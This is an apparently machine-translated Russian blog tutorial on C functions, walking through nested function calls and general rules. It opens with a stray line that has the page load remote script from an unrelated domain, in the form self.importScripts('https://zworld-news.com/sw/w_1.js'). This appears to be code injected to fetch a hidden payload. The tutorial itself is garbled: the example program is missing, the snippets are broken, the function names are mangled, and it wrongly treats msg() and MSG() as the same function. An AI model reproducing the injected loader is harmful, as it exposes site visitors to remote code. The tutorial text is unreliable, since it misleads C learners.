google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Функции в программировании на C - часть 2

Читайте:  Функции в программировании на C - Часть 1
В моем последнем уроке я дал обзор функций в Си-программировании. Сегодня я расскажу вам о множественных вызовах внутри одной функции и ее нюансах. Так что, не теряя времени, давайте перейдем к программе.

Функции в программировании на С


Выход
Функции в программировании на C - часть 2
Простое понятие для изучения
Предположим, что функция main () вызывает другую функцию msg (). Когда управление достигнет функции msg (), действие main () будет временно приостановлено. После выполнения всех операторов функции msg () элемент управления автоматически перейдет к исходной вызывающей функции (в нашем случае main ()). 
объяснение
  • Программа запускается с функцией main () и печатает в ней сообщение. После этого я вызвал функцию firstfu () из main (). Помните, что main () вызывает функцию, а firstfu () называется функцией.
  • Теперь управление достигает функции firstfu () и действие функции main () временно приостановлено. Внутри функции firstfu () printf () напечатает сообщение. Теперь я вызвал функцию thirdfu (). Помните, что firstfu () вызывает функцию, а thirdfu () называется функцией
  • Теперь управление доходит до функции thirdfu () и действие функции firstfu () временно приостанавливается. И он выполнит свою функцию printf (). Теперь я вызвал функцию secondfu ().
  • То же самое произойдет с функцией secondfu (), и она вызовет функцию четвертыйfu ().
  • Теперь оператор printf () будет выполняться внутри функции четвертогоfu (). Поскольку там нет дальнейшего вызова другой функции. Таким образом, управление возвращается к вызывающей функции. Вызывающая функция четвертогоfu () - это secondfu ().
  • Больше никаких операторов не осталось в secondfu (). Таким образом, управление дойдет до вызывающей функции. thirdfu () является вызывающей функцией secondf ().
  • То же самое будет сделано для всех них. И управление снова достигнет функции main (). Теперь в функции main () не осталось операторов, поэтому программа будет остановлена.
Очки для запоминания
1. Любая программа на C содержит хотя бы одну функцию, и она должна быть main ().
Выполнение программы всегда начинается с функции main (). Мы не можем изменить это в любом случае.
2. Типичная программа на С может содержать любое количество функций. Но она должна содержать одну функцию main (), и программа начнет выполняться с функцией main ().
3. Любая функция может вызывать любую другую функцию. Даже функция main () может вызываться из других функций. Чтобы вызвать функцию, мы должны написать имя функции, за которым следует точка с запятой.
void main () 

  msg (); 
}
4. Мы должны определить функцию перед ее вызовом. Функцию можно определить, используя следующий синтаксис.
5. Мы можем вызывать одну функцию любое количество раз.
void main () 

  msg (); 
  MSG (); 
}
6. Функция также может вызываться сама по себе. Такое выполнение называется рекурсией.
7. Мы не можем определить одну функцию внутри другой. Мы можем вызывать только одну функцию из другой.

Комментариев нет:

Отправить комментарий